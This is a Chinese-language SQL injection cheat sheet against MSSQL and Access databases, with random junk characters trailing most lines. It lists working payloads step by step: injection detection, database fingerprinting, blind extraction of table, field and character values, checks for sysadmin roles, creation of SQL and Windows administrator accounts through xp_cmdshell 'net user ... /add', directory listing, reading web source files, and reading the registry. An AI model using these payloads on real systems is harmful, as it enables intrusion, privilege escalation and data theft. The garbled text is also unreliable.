1.判断是否有注入;and 1=1 ;and 1=2 D`V03}\-
2.初步判断是否是mssql ;and user>0 P_
U[OM\
!SMIb(~[z
3.注入参数是字符'and [查询条件] and ''=' 4,`Yx s)%
=LC:1zn4
4.搜索时没过滤参数的'and [查询条件] and '%25'=' "l"zbW WOH
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5.判断数据库系统 ?Bno?\
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;and (select count(*) from sysobjects)>0 mssql W c{<DE?J
)k&<D*5s
;and (select count(*) from msysobjects)>0 access \GO^2&g(
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YAYPof~A$l
6.猜数据库 ;and (select Count(*) from [数据库名])>0 z1{kZk
xrs?"]M[
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 YKlYo~fGN9
]6bh #N;.
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 |7LhE+E
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9.(1)猜字段的ascii值(access) HZX(kYV
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 kj{z;5-dl
mmE\=i~
(2)猜字段的ascii值(mssql) iI\bD
/
VypN,
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 t.Q}V5t{g
{Rc mjI7
10.测试权限结构(mssql) o
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tUU`R{=(
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 8S/SXyS
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- @-ps[b`z
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Lu?MRF
f
G%5bQ|O
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- $23*:)&J4
W}jel}:
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- PIOG|E
%EV\nwn6
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- \vwsRT 1
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;and 1=(select IS_MEMBER('db_owner'));-- t~_vzG
w1U2cbCr/
wzX(]BG
[.:SV|AF#
11.添加mssql和系统的帐户 XK#~w:/fB
h.T]J9;9
;exec master.dbo.sp_addlogin username;-- Xf
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;exec master.dbo.sp_password null,username,password;-- v3\
|
B\^myg4
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- .Z?@;2<l
T<XGG_NOl
;exec master.dbo.xp_cmdshell 'net user username password 8k[=$Ro
p6S{OUiG
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- |y%pJdPk=
W3Gg<!*Uo
;exec master.dbo.xp_cmdshell 'net user username password /add';-- zy8Z68%E`*
Dnk}
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- E3hql3=
p}}pq~EH/
x;N@_FZ7KY
-%f$$7
12.(1)遍历目录 2-G6I92d
?OjZb'+=K
;create table dirs(paths varchar(100), id int) skaPC#u
k|uW~I)
;insert dirs exec master.dbo.xp_dirtree 'c:\' 80m<OW1
;[nomxu|?
;and (select top 1 paths from dirs)>0 vNWCv
X 8/9x-E_
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 2><=U7~
/6fa
7;
X%X`o%AqC
=:fN
(2)遍历目录 U~3uu&/r
1PGY/c
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 5z/*/F=X
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 9!XXuMWU<
I}^Q u0ub
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 r ,cz
yE/
`|uwR5
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ;D8175px;
&[yW}uV<7
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 7=3'PfS
|-)2 D=P
'v^Zterr
^WF/gup\hS
13.mssql中的存储过程 Q$bi:EyJXc
I@/s&$H`l
xp_regenumvalues 注册表根键, 子键 h/goV
{)`tN&\
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 XfZ^,'z
OUtXu7E$
xp_regread 根键,子键,键值名 D`4>Wh/H
D`9 a"o
;exec xp_regread (_0r'{`
e'l@M$^
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 q 3nF\Me0
l/i7<